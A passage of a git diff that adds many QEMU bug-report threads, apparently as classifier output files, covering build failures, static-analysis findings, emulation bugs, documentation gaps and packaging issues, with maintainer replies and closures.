bootdevice -- define new values for the boot device list +change device filename [format [read-only-mode]] -- change a removable medium, optional format +chardev-add args -- add chardev +chardev-remove id -- remove chardev +client_migrate_info protocol hostname port tls-port cert-subject -- set migration information for remote display +closefd closefd name -- close a file descriptor previously passed via SCM rights +commit device|all -- commit changes to the disk images (if -snapshot is used) or backing files +cpu index -- set the default CPU +cpu-add id -- add cpu +c|cont -- resume emulation +delvm tag|id -- delete a VM snapshot from its tag or id +... + +I tested this list with 'sort' just to make sure and make a point: + +$ cat Desktop/order-orig.txt +boot_set +change +chardev-add +chardev-remove +client_migrate_info +closefd +commit +cpu +cpu-add +c|cont +delvm +$ cat Desktop/order-orig.txt | sort +boot_set +c|cont +change +chardev-add +chardev-remove +client_migrate_info +closefd +commit +cpu +cpu-add +delvm +$ + +Should be fixed by this patch: https://<email address hidden>/ + +Fix has been included here: +https://gitlab.com/qemu-project/qemu/-/commit/ff688cd2c7c3a677b71e + diff --git a/results/classifier/deepseek-1/output/other/1629483 b/results/classifier/deepseek-1/output/other/1629483 new file mode 100644 index 00000000..b218dccf --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1629483 @@ -0,0 +1,41 @@ + +Build fails on optionrom + +Git pseudo-bisected (focused on optionrom commits) it to this commit. + +commit cdbd727c20ad7aac7797dc8c95e485e1a4c6901b +Author: Richard Henderson <email address hidden> +Date: Thu Jul 7 21:49:36 2016 -0700 + + build: Use $(AS) for optionrom explicitly + + +Build output (non-verbose): + + AS optionrom/linuxboot.o +cpp: fatal error: '-c' is not a valid option to the preprocessor +compilation terminated. +cpp: fatal error: '-c' is not a valid option to the preprocessor +compilation terminated. + CC optionrom/linuxboot_dma.o + CC /home/bkamath/dev/workspace/block-2/mothra/output/sp0/targetqga/main.o + AS optionrom/kvmvapic.o +cpp: fatal error: '-c' is not a valid option to the preprocessor +compilation terminated. + +Steps to reproduce: +Using buildroot and overriding qemu version to 2.7.0 +Fedora 24, cpp (GCC) 6.2.1 20160916 (Red Hat 6.2.1-2) + +I tried first just building without the -c option but it hangs indefinitely. Reverting the above listed commit fixes the problem on my platform. I didn't dive much further into this, because this seems like a regression. + +I am seeing the same problem. Cross compiling QEMU 2.7 using buildroot get fatal error -c is not a valid option. As Benjamin states removing the -c flag from Makefile gets through the compile, but when booting a virtual image of Ubuntu 16.04 the network does not come up (console is live and you can login through the console, but the only network interface is loopback) I have not diagnosed further. + +I was not able to simply back out the optionrom commit Benjamin cites... caused problems elsewhere, perhaps because I was not doing it right. Reverting to QEMU 2.6.2 does work. + +David + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1643537 b/results/classifier/deepseek-1/output/other/1643537 new file mode 100644 index 00000000..a6375c6d --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1643537 @@ -0,0 +1,33 @@ + +target-ppc/int_helper.c: 2 * bad array index + +1. + +[qemu/target-ppc/int_helper.c:2575]: (error) Array 'reg.u16[8]' accessed at index 8, which is out of bounds. + +Source code is + + return reg->u16[8 - n]; + +and + +qemu/target-ppc/cpu.h: uint16_t u16[8]; + +but at least once, n is zero, for example line 2725 in the int_helper.c file: + + uint16_t sgnb = get_national_digit(b, 0); + +2. + +[qemu/target-ppc/int_helper.c:2584]: (error) Array 'reg.u16[8]' accessed at index 8, which is out of bounds. + +Duplicate + +Thanks for the bug report! Jose posted a patch: +marc.info/?<email address hidden> + +Fix has been committed: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=a813fe73621e1221a09 + +Released with version 2.8 + diff --git a/results/classifier/deepseek-1/output/other/1665344 b/results/classifier/deepseek-1/output/other/1665344 new file mode 100644 index 00000000..c34453ab --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1665344 @@ -0,0 +1,14 @@ + +documentation error:404 not found + +In http://wiki.qemu-project.org/Outreachy_2017_MayAugust the urls + http://www.qemu-project.org/images/4/4e/Q35.pdf and http://www.qemu-project.org/images/f/f6/PCIvsPCIe.pdf on opening displays: + + + + Not Found + +The requested URL /images/4/4e/Q35.pdf was not found on this server. + +Thanks for letting us know. The links have been updated on the wiki page. + diff --git a/results/classifier/deepseek-1/output/other/1708462 b/results/classifier/deepseek-1/output/other/1708462 new file mode 100644 index 00000000..b2fad154 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1708462 @@ -0,0 +1,27 @@ + +Support Python 3 to build + +Currently qemu's configure requires Python 2 to build. As Python 2 is rapidly approaching its EOL, it should be possible to build qemu with Python 3. + +Python 2 EOL is in 2020 so there is a fair amount of time. + +QEMU is transitioning to support both Python 2.6+ and 3 but most Python code has not been converted yet. + +You are welcome to contribute patches: +https://wiki.qemu.org/index.php/Contribute/SubmitAPatch + +> Python 2 EOL is in 2020 so there is a fair amount of time. + +Not as much time as you might think. Even well before that time, any new releases of long life and/or enterprise distros are likely to choose to skip py2 by default, as it will be EOL long before the distro itself EOLs. + +Two patches series posted in Aug last year: + +https://lists.gnu.org/archive/html/qemu-devel/2017-08/msg03642.html +https://lists.gnu.org/archive/html/qemu-devel/2017-08/msg06528.html + +An updated series covering both of those, and also turning on tests + +https://lists.gnu.org/archive/html/qemu-devel/2018-01/msg02978.html + +The series mentioned in comment #3 was merged in v2.12.0, see commit c21965a0c8b979c306e927f158257e5b0fa3a1f9. + diff --git a/results/classifier/deepseek-1/output/other/1712564 b/results/classifier/deepseek-1/output/other/1712564 new file mode 100644 index 00000000..68e10e63 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1712564 @@ -0,0 +1,33 @@ + +loadvm fails twice in sequence + +13:38:23) shorne_: Hello, I was doing some testing with migrations for my OpenRISC SMP patch set, I noticed something that looks like a bug, wondering if someone else wants to confirm +(13:38:47) shorne_: Basically, calling loadvm 2 times causes crash +(13:38:54) shorne_: migration/savevm.c: qemu_event_set(&mis->main_thread_load_event) +(13:38:54) stefanha: fam: Here is my take at this change: https://paste.debian.net/982690/ +(13:38:56) shorne_: assert(ev->initialized) - fails inside +(13:39:32) stefanha: quintela davidgiluk: ^ +(13:41:23) ***davidgiluk looks +(13:41:40) shorne_: c096358e747 util/qemu-thread-posix.c (Fam Zheng 2017-07-04 20:23:25 +0800 397) assert(ev->initialized); +(13:41:51) davidgiluk: shorne_: So you're doing a loadvm to load a snapshot and then again? +(13:42:02) shorne_: Looks like adding that assert() was done really recently +(13:42:41) shorne_: yes, just loadvm 'a' ... then wait a bit longer, loadvm 'a' again (confirm clocks go back etc) +(13:42:50) stefanha: fam: While you're having dinner I'll work on turning my script into a qemu-iotests test case that we can merge. +(13:44:03) gpiccoli [~gpiccoli@0002093a.user.oftc.net] entered the room. +(13:44:21) davidgiluk: shorne_: Well, it looks like the c09635 assert is a sanity check to make sure we didn't do anything stupid, and well..... +(13:44:57) pm215: migration_incoming_get_current() and migration_incoming_state_destroy() seem a bit mismatched +(13:45:13) davidgiluk: pm215: Yep +(13:45:46) davidgiluk: pm215: Generally we've thought that an incoming migration normally only happens once - shorne_'s case is the exception +(13:46:03) shorne_: pm215: yeah, it looked something like that I just had a few seconds to look at today +(13:46:03) HariharanTS left the room (quit: Ping timeout: 480 seconds). +(13:46:03) shorne_ is now known as shorne +(13:48:05) shorne: davidgiluk: pm215: thanks for having a look. Unfortunately I need to head off to bed and put kids to sleep +(13:49:11) davidgiluk: shorne: Sleep well, no nightmares about event destroyers.... +(13:49:30) davidgiluk: pm215: Yeh this is fall out from b4b076daf32 + +Posted: +migration: Reset rather than destroy main_thread_load_event +snapshot/tests: Try loadvm twice + +Commit 5089e1862fe80b6f23ba4c494e2902cbe3d9d48e + diff --git a/results/classifier/deepseek-1/output/other/1721744 b/results/classifier/deepseek-1/output/other/1721744 new file mode 100644 index 00000000..413167aa --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1721744 @@ -0,0 +1,84 @@ + +Help content missing for newly added machine properties + + +Help content missing for newly added machine properties, it would be needed by libvirt and other management layers to query to add support, Thanks. + +max-cpu-compat,vsmt,modern-hotplug-events,resize-hpt + +Steps: +1. Compile qemu @below commit +2. ./ppc64-softmmu/qemu-system-ppc64 -h +.... +-machine [type=]name[,prop[=value][,...]] + selects emulated machine ('-machine help' for list) + property accel=accel1[:accel2[:...]] selects accelerator + supported accelerators are kvm, xen, hax or tcg (default: tcg) + kernel_irqchip=on|off|split controls accelerated irqchip support (default=off) + vmport=on|off|auto controls emulation of vmport (default: auto) + kvm_shadow_mem=size of KVM shadow MMU in bytes + dump-guest-core=on|off include guest memory in a core dump (default=on) + mem-merge=on|off controls memory merge support (default: on) + igd-passthru=on|off controls IGD GFX passthrough support (default=off) + aes-key-wrap=on|off controls support for AES key wrapping (default=on) + dea-key-wrap=on|off controls support for DEA key wrapping (default=on) + suppress-vmdesc=on|off disables self-describing migration (default=off) + nvdimm=on|off controls NVDIMM support (default=off) + enforce-config-section=on|off enforce configuration section migration (default=off) + s390-squash-mcss=on|off controls support for squashing into default css (default=off) +.... + +===> Not showing help of mentioned properties. + + + +Verified at todays below commit +#git show +commit d8f932cc696250cb740240d668b39df5fbb2d5a0 +Merge: 67caeea 4504273 +Author: Peter Maydell <email address hidden> +Date: Thu Oct 5 16:54:29 2017 +0100 + + Merge remote-tracking branch 'remotes/stefanha/tags/tracing-pull-request' into staging + + # gpg: Signature made Thu 05 Oct 2017 15:25:21 BST + # gpg: using RSA key 0x9CA4ABB381AB73C8 + # gpg: Good signature from "Stefan Hajnoczi <email address hidden>" + # gpg: aka "Stefan Hajnoczi <email address hidden>" + # Primary key fingerprint: 8695 A8BF D3F9 7CDA AC35 775A 9CA4 ABB3 81AB 73C8 + + * remotes/stefanha/tags/tracing-pull-request: + checkpatch: fix incompatibility with old perl + + Signed-off-by: Peter Maydell <email address hidden> + +Hmm... -h is common to all targets, ie, you should only find properties that can be passed to -machine for all qemu-system-* binaries (I don't know how s390-squash-mcss landed there but it looks wrong). + +The right way to query properties supported by a pseries machine type is: + +$ ./ppc64-softmmu/qemu-system-ppc64 -machine pseries,help +pseries-2.11.kvm-type=string (Specifies the KVM virtualization mode (HV, PR)) +pseries-2.11.vsmt=uint32 (Virtual SMT: KVM behaves as if this were the host's SMT mode) +pseries-2.11.modern-hotplug-events=bool (Use dedicated hotplug event mechanism in place of standard EPOW events when possible (required for memory hot-unplug support)) +pseries-2.11.max-cpu-compat=string (Maximum permitted CPU compatibility mode. Valid values are power6, power7, power7+, power8, power9.) +pseries-2.11.resize-hpt=string (Resizing of the Hash Page Table (enabled, disabled, required)) +pseries-2.11.kvm-shadow-mem=int (KVM shadow MMU size) +pseries-2.11.enforce-config-section=bool (Set on to enforce configuration section migration) +pseries-2.11.initrd=string (Linux initial ramdisk file) +pseries-2.11.mem-merge=bool (Enable/disable memory merge support) +pseries-2.11.firmware=string (Firmware image) +pseries-2.11.dtb=string (Linux kernel device tree file) +pseries-2.11.suppress-vmdesc=bool (Set on to disable self-describing migration) +pseries-2.11.usb=bool (Set on/off to enable/disable usb) +pseries-2.11.kernel=string (Linux kernel image file) +pseries-2.11.dt-compatible=string (Overrides the "compatible" property of the dt root node) +pseries-2.11.igd-passthru=bool (Set on/off to enable/disable igd passthrou) +pseries-2.11.dumpdtb=string (Dump current dtb to a file and quit) +pseries-2.11.append=string (Linux kernel command line) +pseries-2.11.accel=string (Accelerator list) +pseries-2.11.kernel-irqchip=OnOffSplit (Configure KVM in-kernel irqchip) +pseries-2.11.dump-guest-core=bool (Include guest memory in a core dump) +pseries-2.11.phandle-start=int (The first phandle ID we may generate dynamically) +pseries-2.11.graphics=bool (Set on/off to enable/disable graphics emulation) + + diff --git a/results/classifier/deepseek-1/output/other/1731277 b/results/classifier/deepseek-1/output/other/1731277 new file mode 100644 index 00000000..8b53e7b5 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1731277 @@ -0,0 +1,42 @@ + +Provide target specific qemu man pages + +Right now, all qemu target binaries (qemu-system-...) share the same man page. + +The current man page is primarily focused on x86, and therefore the information given is entirely wrong for e.g. arm, powerpc or s390x. + +NAME + qemu-doc - QEMU Emulator User Documentation + +SYNOPSIS + qemu-system-i386 [options] [disk_image] + +DESCRIPTION + The QEMU PC System emulator simulates the following peripherals: + + - i440FX host PCI bridge and PIIX3 PCI to ISA bridge + + - Cirrus CLGD 5446 PCI VGA card or dummy VGA card with Bochs VESA extensions (hardware level, including all non + standard modes). + + - PS/2 mouse and keyboard + + - 2 PCI IDE interfaces with hard disk and CD-ROM support + + - Floppy disk + +... + +We should have target specific man pages, with the common options/settings factored out, so they are included in all target specific man pages. + +"man qemu-system-s390x" should give s390x specific (+common) information and "man qemu-system-x86_64" should contain x86 specific (+common) information. + +I'm kind of hoping that moving to Sphinx for our docs toolchain will allow us to for instance have the board specific information in doc comments in each board source file, which could then be automatically assembled into the right documentation. The current manpages are autobuilt from the monolithic qemu-doc.texi, which is woefully out of date in many areas... + + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1740887 b/results/classifier/deepseek-1/output/other/1740887 new file mode 100644 index 00000000..c847afdd --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1740887 @@ -0,0 +1,32 @@ + +qemu-system-arm & qemu-system-aarch64 for windows crash at start + +In Windows 7 64 bit (both 32 & 64 bit QEMU emulator version 2.11.0 (v2.11.0-11693-g21057c841e-dirty)). + +With arguments: + +qemu-system-arm.exe -M raspi2 + +It crashes and reports: + +ERROR:/home/stefan/src/qemu/repo.or.cz/qemu/ar7/qom/object.c:176:type_get_parent: assertion failed: (type->parent_type != NULL) + +Same goes for qemu-system-aarch64.exe or with -M raspi argument. + +Have a nice day, +f. + +I've got th exact same crash under Windows 10 64 bits with QEMU emulator version 2.10.95 (v2.11.0-rc5-11692-g50cdacc703-dirty) + +Any idea how to fix it or is there a previous known working version for "-M raspi" option? + +Thanks. +Raphaël. + +I had to switch back to the following installer "2016-03-03: New QEMU installers. Fixed, first version with support for Raspberry Pi 1 and 2." for having a working version with the "-M raspi" option. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1748756 b/results/classifier/deepseek-1/output/other/1748756 new file mode 100644 index 00000000..0aff9486 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1748756 @@ -0,0 +1,13 @@ + +[Feature request] Support of TI AM1808 for Lego EV3 + +It would be great if emulating TI AM1808 would be possible. It will be a big step towards Lego Mindstorms EV3 emulation. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +The QEMU project doesn't implement new target architectures or board models on demand based on wishlist requests; they're a lot of work to do. Instead we simply code-review and incorporate board models and architectures as and when people decide to write them and submit the patches. So there's really no point in having a 'wishlist' bug in the bug tracker saying "support for board X would be nice", because it will never happen, unless by the coincidence that somebody happened to implement and submit it to us anyway. + +So I'm going to close this bug as "Won't Fix"; if anybody happens to want to work with upstream on implementing this board model they are welcome to do so -- the mechanism for that is to email qemu-devel (with plans, requests for advice or patches). + + diff --git a/results/classifier/deepseek-1/output/other/1753437 b/results/classifier/deepseek-1/output/other/1753437 new file mode 100644 index 00000000..e3ae56dd --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1753437 @@ -0,0 +1,49 @@ + +pc-bios/s390-ccw/libc: size_t should be unsigned + +qemu/pc-bios/s390-ccw/libc.c:82]: (style) Unsigned variable 'num_idx' can't be negative so it is unnecessary to test it. + +Source code is + + + while (num_idx >= 0) { + +but + + size_t num_idx = 1; /* account for NUL */ + +So there is no escape from the while loop. + +Adding qemu-s390x. + +On 03/05/2018 11:31 AM, dcb wrote: +> Public bug reported: +> +> qemu/pc-bios/s390-ccw/libc.c:82]: (style) Unsigned variable 'num_idx' +> can't be negative so it is unnecessary to test it. +> +> Source code is +> +> +> while (num_idx >= 0) { +> +> but +> +> size_t num_idx = 1; /* account for NUL */ +> +> So there is no escape from the while loop. +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> + + + +Looks like the mailing list <-> launchpad bridge again ignored mails to the corresponding mailing list thread. It's not a real bug, see here for details: +https://lists.gnu.org/archive/html/qemu-devel/2018-03/msg01142.html +I'll try to remember to clean this up the next time we update the s390-ccw bios. + +Fix has been committed: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=e4f869621203955761c + diff --git a/results/classifier/deepseek-1/output/other/1757363 b/results/classifier/deepseek-1/output/other/1757363 new file mode 100644 index 00000000..a2e7a21d --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1757363 @@ -0,0 +1,55 @@ + +infinite loop due to improper deal with "eret" on mips32 + +1.qemu 2.9.1 release on the official web build with tcg +2.cmd: qemu-system-mips -kernel kernelfile +3. host: ubuntu 16.04.1 with linux kernel 4.6.2 x86_64 + guest: mips bigendian 32bit (tplink firmware) + + +detail: + +static inline void exception_return(CPUMIPSState *env) +{ + debug_pre_eret(env); + if (env->CP0_Status & (1 << CP0St_ERL)) { + set_pc(env, env->CP0_ErrorEPC); + env->CP0_Status &= ~(1 << CP0St_ERL); + } else { + set_pc(env, env->CP0_EPC); + env->CP0_Status &= ~(1 << CP0St_EXL);====================> ISSUE???? + } + compute_hflags(env); + debug_post_eret(env); +} + +void helper_eret(CPUMIPSState *env) +{ + exception_return(env); + env->lladdr = 1; +} + + +In the Issue Line, there is no check CP0_Status whether int is disabled (should not enter int routine), +that result in the cpu can not jump out the int routine. + +What model/cpu is your router? + +Which MIPS guest CPU are you using? Are you sure it matches the CPU of your router? + +Is your tplink firmware publicly available? (to reproduce your problem). + +My guess is your router CPU doesn't match the ISA (likely your CPU has extensions to the 24Kf ISA). + +[Expired for QEMU because there has been no activity for 60 days.] + +This seems to affect me too; I have a loop on interrupt handler after the first interrupt called. + +The version of qemu is latest 3.1 from upstream, so this is not Ubuntu issue. + +However, have you done with it? Just commenting out + +env->CP0_Status &= ~(1 << CP0St_EXL); + +does not help. + diff --git a/results/classifier/deepseek-1/output/other/1770859 b/results/classifier/deepseek-1/output/other/1770859 new file mode 100644 index 00000000..2ca80383 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1770859 @@ -0,0 +1,17 @@ + +qemu-img compare -m option is missing + +Comparing images using multiple streams (like qemu-img convert) maybe effectively sped up when one of the images (or both) is RBD. qemu-img convert does it's job perfectly while converting. Please implement the same for image comparison. Since operations are read-only, -W is useless, but may be introduced as well for debugging/performance purposes. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/152 + + diff --git a/results/classifier/deepseek-1/output/other/1785308 b/results/classifier/deepseek-1/output/other/1785308 new file mode 100644 index 00000000..b799a157 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1785308 @@ -0,0 +1,31 @@ + +0x8 exception encountered but not handled + +Present in all QEMU versions. + +OS is triple page faulting and crashing rather than handling the expected double page fault properly. The same OS works in Bochs so I know its not the problem. + +Hi Ra, + We'll need a bit more detail to be able to help here. +The fact something works in Bochs but doesn't work in qemu doesn't necessarily mean it's a qemu bug - for example the OS might be hitting something undefined or a timing issue; so we'd need some information on how the double page fault happened. +Does it work with KVM enabled? With tcg? What version of qemu are you using? + +Hi David, + The OS is hitting something undefined. It's built on exploiting the x86 architecture to run computations of the MMU rather than the CPU: https://github.com/jbangert/trapcc +I've tried it on the 3 most recent versions of QEMU for Windows. I'll give it a go with KVM and tcg and get back to you although I'm not hopeful. + +OK, that's just a cruel test :-) +It'll be interesting to see the difference between TCG and KVM, but with such a weird test case as that you'll probably need to narrow the problem down more. + + +What would be useful information to narrow down the problem? Any specific kind of logs from running it in TCG and KVM? + +I think I'd start by seeing if it fails in both or if they're different. +If they're different then you'd follow the series of exceptions that they each get +and see where they diverge. + +More generally, I think that if you care about getting this test case to work under QEMU emulation you're going to have to be prepared to dig into QEMU's internals to debug where we diverge from what the real CPU does. Our x86 emulation is not very actively maintained and this isn't a "real world" use case that many users are going to have problems with, so my guess is it is unlikely to be fixed unless somebody with enough interest in it to take a day or a week to debug what's going on does that work. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1798659 b/results/classifier/deepseek-1/output/other/1798659 new file mode 100644 index 00000000..d7670bfa --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1798659 @@ -0,0 +1,41 @@ + +Replace comma with semicolon in trace/simple.c + +In the master branch in trace/simple.c in writeout_thread (https://github.com/qemu/qemu/blob/master/trace/simple.c#L174) we currently have: + dropped.rec.length = sizeof(TraceRecord) + sizeof(uint64_t), + dropped.rec.pid = trace_pid; + +It seems to me like a typo that the first line ends with a comma. +Currently this causes no harm, but I think this should be fixed. + +It's perfect valid C to terminate a statement with "," instead of ";" - it just has a different meaning. Consider this: + +#include <stdio.h> + +int main() +{ + if (0) + printf("Hello!\n"), + + printf("Good bye!\n"); + + return 0; +} + +At a first glance, you'd expect this program to print "Good bye!" - but it does not. Actually, the "," is used here to put the two printf statements into the same block, so this program is the same as: + + if (0) { + printf("Hello!\n"); + printf("Good bye!\n"); + } + +Thus, there is no real bug in simple.c here, but of course it would be better style to clean this up and use ";" instead. + +By the way, two lines earlier there is another line ending in ",": + + dropped.rec.event = DROPPED_EVENT_ID, + +Fixed in commit 7ff5920717d413d8b7c3ba13d9, which will be in the upcoming 4.0 release. + + + diff --git a/results/classifier/deepseek-1/output/other/1813010 b/results/classifier/deepseek-1/output/other/1813010 new file mode 100644 index 00000000..ec9bc7c2 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1813010 @@ -0,0 +1,69 @@ + +Parallel builds fail (make -j >=2) when using --extra-cflags "--save-temps" + +specs: +Host kernel: Linux 4.19.16-1-lts +Host type: x86_64 GNU/Linux +Host distro: Archlinux +Guest: we never get that far +QEMU commit: 9f33051abce238ab43a23125e237aac8b0931b88 + + +steps: +# fresh copy of the latest commit +> git clone https://git.qemu.org/git/qemu.git + +# separate build dir +> mkdir build +> cd build + +# sample configuration for riscv (this happens for other targets as well) +> ../qemu/configure --target-list=riscv64-softmmu --enable-debug --extra-cflags='-O0 -g3 -save-temps' --prefix=/install/riscv-qemu + +# this will fail (see attached log file) +> make -j 2 + + + +It seems the --save-temps is what breaks things for me, the following works: + + ../qemu.git/configure --target-list=riscv64-softmmu --enable-debug --extra-cflags="-O0 -g3" && make -j9 + +rm -rf and start again with: + + ../qemu.git/configure --target-list=riscv64-softmmu --enable-debug --extra-cflags="-O0 -g3 --save-temps" + +falls over with lines like: + + block/trace.h: In function ‘_nocheck__trace_nbd_co_request_fail’: +block/trace.h:3141:73: error: ‘_TRACE_NBD_CO_REQUEST_FAIL_DSTATE’ undeclared (first use in this function); did you mean ‘TRACE_NBD_CO_REQUEST_FAIL_BACKEND_DSTATE’? + if (trace_event_get_state(TRACE_NBD_CO_REQUEST_FAIL) && qemu_loglevel_mask(LOG_TRACE)) { + ^~~~~~~~~~~~~~~~~~~~ + TRACE_NBD_CO_REQUEST_FAIL_BACKEND_DSTATE + +which implies something getting in the way of making the trace files. + + +it seems like that "-save-temps" in "cflags" is the culprit. I removed it and it was possible to build with 8 instances: + +# removed "-save-temps" from the "cflags" +> ./qemu/configure --target-list=riscv64-softmmu --enable-debug --extra-cflags='-O0 -g3' --prefix=/install/riscv-qemu + +# build without any problem +> make -j 8 + +A workaround for this is to use "-save-temps=obj" which ensures the temps are dumped in the object directory. I suspect there is a clash somewhere between what save temps dumps and some of the files we generate for tracing. + +putting the temporary files in object dir works as well: -save-temps=obj + +# "-save-temps=obj" from the "cflags" +> ./qemu/configure --target-list=riscv64-softmmu --enable-debug --extra-cflags='-O0 -g3 -save-temps=obj' --prefix=/install/riscv-qemu + +# build again without any problem +> make -j 8 + +Hi; I'm going to close this bug because there's no way that QEMU's build process can handle being passed -save-temps via --extra-cflags, because this will cause GCC to use the same output files for multiple different source files, and they will clash. (Even with a non-parallel build, one compile is going to win, and the temp files for the first compile of the pair will just be overwritten and lost.) + +As you've discovered, the right way to do this is to use -save-temps=obj, which will correctly put the temporary files in different places for each generated object file, so they don't conflict with each other. + + diff --git a/results/classifier/deepseek-1/output/other/1818483 b/results/classifier/deepseek-1/output/other/1818483 new file mode 100644 index 00000000..00460582 --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1818483 @@ -0,0 +1,99 @@ + +qemu user mode does not support binfmt_misc config with flags include "P" + +Hi Sir: +During our test in chroot environment with qemu-user-static, we got some test cases failed because of program output warning with unexpected full path name. +For example in test module "Devscripts" +the test item for broken tarball expected the warning info: +<tar: This does not look like a tar archive +tar: ******* > +but the output was: +</bin/tar: This does not look like a tar archive +/bin/tar: ******> +the cause is the config file of binfmt_misc was set not to send argv0, for example: +type command "tar" after chroot: +========================== +lpeng@lpeng-VirtualBox:~/projects_lpeng/qemu/mips_2/sid$ sudo chroot . +[sudo] password for lpeng: +root@lpeng-VirtualBox:/# tar +/bin/tar: You must specify one of the '-Acdtrux', '--delete' or '--test-label' options +Try '/bin/tar --help' or '/bin/tar --usage' for more information. +root@lpeng-VirtualBox:/# +=========================== + +by adding output log in main()@qemu/Linux-user/main.c +we found the original input command was changed, and qemu do not know that, we got the input args: +argv_0----/usr/bin/qemu-mips64el-static--- +argv_1----/bin/tar--- +argv_2----NULL--- + +Next step we modified the flags=P in the corresponding config under folder /proc/sys/fs/binfmt_misc, then binfmt_misc sent argv[0] to qemu. +But chroot could not start bash because in current qemu dose not consider about this unexpected one more"argv[0]" + + +After modified qemu code temporary to handle the new argv list we got the input args, and from argv[2] is the original input command +argv_0----/usr/bin/qemu-mips64el-static--- +argv_1----/bin/tar--- +argv_2----tar--- + +We need the original input from command line, so is it possible that let binfmt_misc to pass one more additional args or env to qemu as a token of the binfmt_misc flag, then qemu can judge how to parse the input args by it? +looking forward your suggestions. + +Thanks +luyou + +I modified binfmt_misc.c to let it send one more args if the corresponding binfmt_misc flags include "P", also I modified main.c in qemu as attached patch_qemu_main.patch to check if the input args include such string. Then qemu user could support both scenarios. +Is this modification feasible? + +Doesn't doing the check like that break execution of a command like "echo 'MISC_FMT_PRESERVE_ARGV0'" in a chroot environment that isn't using -P ? + + +hi Peter: +Thanks for your suggestion. +but anyway we have to modify qemu code when binfmt_misc passes argv[0] in, right? + + +The question is: can we have one set of QEMU code that copes correctly with both 'binfmt_misc with P flag' and 'binfmt_misc without P flag' ? + +Your patch makes -P work but breaks some cases without it. That means it's not backwards compatible with all the existing QEMU installations and use cases in the world, which means it's awkward to move to. It would be better if there were a mechanism which would allow us to make them both work. + + +hi Peter: +You are right, any additional modification should not affect the previous. +We expect that if this issue could be resolved without code change it's the best. +it may need to modify both binfmt_misc side to pass more information for flag P and qemu side to handle it. + + +@Peter Luyou and me are working on try to pass the info about whether P flag is enabled or not by enviroment var or auxval. While we have not found the right method to do it from binfmt_misc. + +In fact, currently qemu trys to process the O flag, and it cannot work at all. +When you install qemu-user-static package from Debian/Ubuntu, the O flag is enabled, +while + execfd = qemu_getauxval(AT_EXECFD); +always return 0. + +This patch is for linux kernel. + +It will set the 3rd bit of AT_FLAGS, if P is set for binfmt_misc. + +The major concern is that AT_FLAGS is never used, then, should we use it here? + +This patch is for qemu itself. + +It test AT_FLAGS and determine whether it is start by binfmt_misc and whether P flag is used. + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/other/1822012 b/results/classifier/deepseek-1/output/other/1822012 new file mode 100644 index 00000000..895648ad --- /dev/null +++ b/results/classifier/deepseek-1/output/other/1822012 @@ -0,0 +1,71 @@ + +powernv machine complains of missing skiboot files + +Hi, I want to use the powernv machine from the qemu-system-ppcle application. However, when I specify this machine, qemu complains that it can't find the skiboot files. + +I noticed that skiboot is available for Ubuntu, but only for the PPC[64] hosts. Well, I just need skiboot files for qemu on amd64 hosts. + +Hmm, looks like Debian has a package for these missing qemu files: + +https://packages.debian.org/sid/qemu-skiboot + +Could we promote these to Ubuntu repositories, and fix the qemu packages so that they automatically depend on the necessary BIOS packages? For example, openbios-ppc should also be installed when qemu-system-ppc[64[le]] are installed. + +This sounds like a bug in the packaging of Ubuntu, so I've moved it 